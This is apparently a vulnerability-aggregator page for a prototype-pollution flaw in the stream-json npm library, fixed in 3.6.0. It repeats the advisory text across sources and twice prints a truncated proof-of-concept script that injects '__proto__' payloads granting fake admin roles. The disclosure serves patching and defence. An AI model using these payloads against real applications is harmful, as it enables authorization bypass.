Every CVE Search/ Get API key

CVE-2026-104183

stream-json: Prototype pollution: Assembler writes this.current[this.key] on plain objects

5.1 MediumFix available

stream-json is a micro-library of stream components for processing JSON and JSONC with a minimal memory footprint. Prior to 3.6.0, Assembler materializes object properties with plain assignment, so an input key named proto invokes the inherited setter and causes parsed object prototype replacement instead of creating an own data property. Applications that make authorization or feature decisions from inherited values can therefore consume attacker-controlled properties, and a null prototype can disrupt code that expects Object.prototype methods. The researcher treats parsing untrusted JSON as part of the project contract, while the maintainer states that documented inputs are locally owned dumps, exports, or logs and characterizes the attack vector as local. The global Object.prototype is not polluted. This issue is fixed in version 3.6.0.

Attack profile

How easy it is to exploit

Attack vector
Local
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
Low
Availability
Low

Exploit likelihood

0.19%Unchanged since Oct 2, 2026
90%50%10%1%

What each source reports

CVE List Score used 5.1

stream-json: Prototype pollution: Assembler writes this.current[this.key] on plain objects

stream-json is a micro-library of stream components for processing JSON and JSONC with a minimal memory footprint. Prior to 3.6.0, Assembler materializes object properties with plain assignment, so an input key named proto invokes the inherited setter and causes parsed object prototype replacement instead of creating an own data property. Applications that make authorization or feature decisions from inherited values can therefore consume attacker-controlled properties, and a null prototype can disrupt code that expects Object.prototype methods. The researcher treats parsing untrusted JSON as part of the project contract, while the maintainer states that documented inputs are locally owned dumps, exports, or logs and characterizes the attack vector as local. The global Object.prototype is not polluted. This issue is fixed in version 3.6.0.

Record
CVE-2026-104183
CVSS 3.1
5.1 MediumCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
Weakness
CWE-1321
Updated
2026-11-02
EUVDEUVD-2026-91057 5.1

stream-json is a micro-library of stream components for processing JSON and JSONC with a minimal memory footprint. Prior to 3.6.0, Assembler materializes object properties with plain assignment, so an input key named proto invokes the inherited setter and causes parsed object prototype replacement instead of creating an own data property. Applications that make authorization or feature decisions from inherited values can therefore consume attacker-controlled properties, and a null prototype can disrupt code that expects Object.prototype methods. The researcher treats parsing untrusted JSON as part of the project contract, while the maintainer states that documented inputs are locally owned dumps, exports, or logs and characterizes the attack vector as local. The global Object.prototype is not polluted. This issue is fixed in version 3.6.0.

Record
EUVD-2026-91057
CVSS 3.1
5.1 MediumCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
Updated
2026-11-02
GitHub AdvisoriesGHSA-mjw6-4jj6-33hc 5.1

stream-json has a prototype pollution issue: Assembler writes this.current[this.key] on plain objects

Summary

A prototype-pollution vulnerability in stream-json lets attacker-controlled JSON replace a parsed object's prototype.

Details

The streaming JSON parser (StreamValues/StreamObject/jsonc variants) writes keys via plain assignment, so a proto key replaces the parsed object's prototype with attacker-controlled content (verified 3.5.0 npm latest; native JSON.parse twin control stays clean). Parsing untrusted JSON is the contract. Assembler in Assembler.js.

PoC

Run:

node poc-stream-json-proto-injection.mjs

Full proof-of-concept source (poc-stream-json-proto-injection.mjs):

// stream-json v3.5.0 (npm latest) — local [[Prototype]] replacement via `__proto__` keys
// Class: prototype injection in a JSON deserializer (jsonparse/bser/jsonc-parser/plist family)
// Root cause: Assembler builds every object as a plain `Object` and writes
//   `this.current[this.key] = value` (src/core/assembler.js:160,180 — plain assignment,
//   ToPropertyKey → inherited Object.prototype __proto__ setter fires)
// Spec baseline: JSON.parse (CreateDataProperty) → own data property, no prototype change
// Run:  node poc-stream-json-proto-injection.mjs   (from C:/Users/rncb0/AppData/Local/Temp/0day/sj-lab)
import { parser } from 'stream-json';
import jsoncParser from 'stream-json/jsonc/Parser.js';
import { streamValues } from 'stream-json/streamers/stream-values.js';
import { streamObject } from 'stream-json/streamers/stream-object.js';
import { Readable } from 'node:stream';

const sv = (input, P = parser) => new Promise((res, rej) => {
  const vals = [];
  Readable.from([input]).pipe(P.asStream()).pipe(streamValues.asStream())
    .on('data', d => vals.push(d.value)).on('end', () => res(vals)).on('error', rej);
});
const so = (input) => new Promise((res, rej) => {
  const out = {};
  Readable.from([input]).pipe(parser.asStream()).pipe(streamObject.asStream())
    .on('data', d => { out[d.key] = d.value; }).on('end', () => res(out)).on('error', rej);
});

let pass = 0, fail = 0;
const check = (name, cond) => { if (cond) { pass++; console.log(`  PASS  ${name}`); } else { fail++; console.log(`  FAIL  ${name}`); } };

const INPUT = '{"__proto__":{"isAdmin":true,"role":"superuser"},"name":"bob","age":30}';
const baseline = JSON.parse(INPUT);
const sv1 = (await sv(INPUT))[0];
const so1 = await so(INPUT);
const jc1 = (await sv(INPUT, jsoncParser))[0];
const nested = (await sv('{"user":{"__proto__":{"isAdmin":true},"name":"alice"}}'))[0].user;
const arrProto = (await sv('{"__proto__":["isAdmin","role"],"name":"bob"}'))[0];
const prim = (await sv('{"__proto__":"x","name":"bob"}'))[0];
const ctor = (await sv('{"constructor":{"prototype":{"polluted":1}},"name":"bob"}'))[0];

console.log('== A. CORE VECTOR: __proto__ key → parsed object [[Prototype]] replaced (read-through injection) ==');
check('StreamValues: Object.keys hides __proto__/isAdmin (["name","age"])', JSON.stringify(Object.keys(sv1)) === '["name","age"]');
check('StreamValues: JSON.stringify hides injected props ({"name":"bob","age":30})', JSON.stringify(sv1) === '{"name":"bob","age":30}');
check('StreamValues: hasOwnProperty(isAdmin) === false (own-key allowlists pass)', !Object.prototype.hasOwnProperty.call(sv1, 'isAdmin'));
check('StreamValues: obj.isAdmin === true (INHERITED read-through)', sv1.isAdmin === true);
check('StreamValues: obj.role === "superuser"', sv1.role === 'superuser');
check('StreamValues: [[Prototype]] is NON-plain', Object.getPrototypeOf(sv1) !== Object.prototype);
check('StreamObject: same read-through (obj.isAdmin === true)', so1.isAdmin === true && Object.keys(so1).length === 2);
check('jsonc parser (comments variant): same read-through', jc1.isAdmin === true && JSON.stringify(Object.keys(jc1)) === '["name","age"]');
check('NESTED: user.isAdmin === true, own keys ["name"]', nested.isAdmin === true && JSON.stringify(Object.keys(nested)) === '["name"]');

console.log('== B. SPEC BASELINE (control): JSON.parse makes __proto__…
Record
GHSA-mjw6-4jj6-33hc
CVSS 3.1
5.1 MediumCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
Weakness
CWE-1321
Updated
2026-11-02
NVD 5.1

stream-json is a micro-library of stream components for processing JSON and JSONC with a minimal memory footprint. Prior to 3.6.0, Assembler materializes object properties with plain assignment, so an input key named proto invokes the inherited setter and causes parsed object prototype replacement instead of creating an own data property. Applications that make authorization or feature decisions from inherited values can therefore consume attacker-controlled properties, and a null prototype can disrupt code that expects Object.prototype methods. The researcher treats parsing untrusted JSON as part of the project contract, while the maintainer states that documented inputs are locally owned dumps, exports, or logs and characterizes the attack vector as local. The global Object.prototype is not polluted. This issue is fixed in version 3.6.0.

Record
CVE-2026-104183
CVSS 3.1
5.1 MediumCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
Weakness
CWE-1321
Updated
2026-11-02
OSV 5.1

stream-json: Prototype pollution: Assembler writes this.current[this.key] on plain objects

stream-json is a micro-library of stream components for processing JSON and JSONC with a minimal memory footprint. Prior to 3.6.0, Assembler materializes object properties with plain assignment, so an input key named proto invokes the inherited setter and causes parsed object prototype replacement instead of creating an own data property. Applications that make authorization or feature decisions from inherited values can therefore consume attacker-controlled properties, and a null prototype can disrupt code that expects Object.prototype methods. The researcher treats parsing untrusted JSON as part of the project contract, while the maintainer states that documented inputs are locally owned dumps, exports, or logs and characterizes the attack vector as local. The global Object.prototype is not polluted. This issue is fixed in version 3.6.0.

Record
CVE-2026-104183
CVSS 3.1
5.1 MediumCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
Weakness
CWE-1321
Updated
2026-11-02
OSVGHSA-mjw6-4jj6-33hc 5.1

stream-json has a prototype pollution issue: Assembler writes this.current[this.key] on plain objects

Summary

A prototype-pollution vulnerability in stream-json lets attacker-controlled JSON replace a parsed object's prototype.

Details

The streaming JSON parser (StreamValues/StreamObject/jsonc variants) writes keys via plain assignment, so a proto key replaces the parsed object's prototype with attacker-controlled content (verified 3.5.0 npm latest; native JSON.parse twin control stays clean). Parsing untrusted JSON is the contract. Assembler in Assembler.js.

PoC

Run:

node poc-stream-json-proto-injection.mjs

Full proof-of-concept source (poc-stream-json-proto-injection.mjs):

// stream-json v3.5.0 (npm latest) — local [[Prototype]] replacement via `__proto__` keys
// Class: prototype injection in a JSON deserializer (jsonparse/bser/jsonc-parser/plist family)
// Root cause: Assembler builds every object as a plain `Object` and writes
//   `this.current[this.key] = value` (src/core/assembler.js:160,180 — plain assignment,
//   ToPropertyKey → inherited Object.prototype __proto__ setter fires)
// Spec baseline: JSON.parse (CreateDataProperty) → own data property, no prototype change
// Run:  node poc-stream-json-proto-injection.mjs   (from C:/Users/rncb0/AppData/Local/Temp/0day/sj-lab)
import { parser } from 'stream-json';
import jsoncParser from 'stream-json/jsonc/Parser.js';
import { streamValues } from 'stream-json/streamers/stream-values.js';
import { streamObject } from 'stream-json/streamers/stream-object.js';
import { Readable } from 'node:stream';

const sv = (input, P = parser) => new Promise((res, rej) => {
  const vals = [];
  Readable.from([input]).pipe(P.asStream()).pipe(streamValues.asStream())
    .on('data', d => vals.push(d.value)).on('end', () => res(vals)).on('error', rej);
});
const so = (input) => new Promise((res, rej) => {
  const out = {};
  Readable.from([input]).pipe(parser.asStream()).pipe(streamObject.asStream())
    .on('data', d => { out[d.key] = d.value; }).on('end', () => res(out)).on('error', rej);
});

let pass = 0, fail = 0;
const check = (name, cond) => { if (cond) { pass++; console.log(`  PASS  ${name}`); } else { fail++; console.log(`  FAIL  ${name}`); } };

const INPUT = '{"__proto__":{"isAdmin":true,"role":"superuser"},"name":"bob","age":30}';
const baseline = JSON.parse(INPUT);
const sv1 = (await sv(INPUT))[0];
const so1 = await so(INPUT);
const jc1 = (await sv(INPUT, jsoncParser))[0];
const nested = (await sv('{"user":{"__proto__":{"isAdmin":true},"name":"alice"}}'))[0].user;
const arrProto = (await sv('{"__proto__":["isAdmin","role"],"name":"bob"}'))[0];
const prim = (await sv('{"__proto__":"x","name":"bob"}'))[0];
const ctor = (await sv('{"constructor":{"prototype":{"polluted":1}},"name":"bob"}'))[0];

console.log('== A. CORE VECTOR: __proto__ key → parsed object [[Prototype]] replaced (read-through injection) ==');
check('StreamValues: Object.keys hides __proto__/isAdmin (["name","age"])', JSON.stringify(Object.keys(sv1)) === '["name","age"]');
check('StreamValues: JSON.stringify hides injected props ({"name":"bob","age":30})', JSON.stringify(sv1) === '{"name":"bob","age":30}');
check('StreamValues: hasOwnProperty(isAdmin) === false (own-key allowlists pass)', !Object.prototype.hasOwnProperty.call(sv1, 'isAdmin'));
check('StreamValues: obj.isAdmin === true (INHERITED read-through)', sv1.isAdmin === true);
check('StreamValues: obj.role === "superuser"', sv1.role === 'superuser');
check('StreamValues: [[Prototype]] is NON-plain', Object.getPrototypeOf(sv1) !== Object.prototype);
check('StreamObject: same read-through (obj.isAdmin === true)', so1.isAdmin === true && Object.keys(so1).length === 2);
check('jsonc parser (comments variant): same read-through', jc1.isAdmin === true && JSON.stringify(Object.keys(jc1)) === '["name","age"]');
check('NESTED: user.isAdmin === true, own keys ["name"]', nested.isAdmin === true && JSON.stringify(Object.keys(nested)) === '["name"]');

console.log('== B. SPEC BASELINE (control): JSON.parse makes __proto__…
Record
GHSA-mjw6-4jj6-33hc
CVSS 3.1
5.1 MediumCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
Weakness
CWE-1321
Updated
2026-11-02
OSVCLSA-2026-1791278816 No score

TuxCare security update for stream-json (1 CVE)

TuxCare rebuilt stream-json to address 1 CVE. Fixed in 1.9.1-tuxcare.8.

Record
CLSA-2026-1791278816
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
stream-json
npm
before 3.6.0
3.6.0
stream-json
TuxCare:npm
1.9.1-tuxcare.0 up to 1.9.1-tuxcare.8, plus listed versions
1.9.11.9.1-tuxcare.11.9.1-tuxcare.21.9.1-tuxcare.31.9.1-tuxcare.41.9.1-tuxcare.51.9.1-tuxcare.61.9.1-tuxcare.7
1.9.1-tuxcare.8

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-104183 is a medium vulnerability (CVSS 5.1) in Uhop Stream-json, published October 1, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.19%, the 9th percentile. Fixed in stream-json 3.6.0.

References

This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open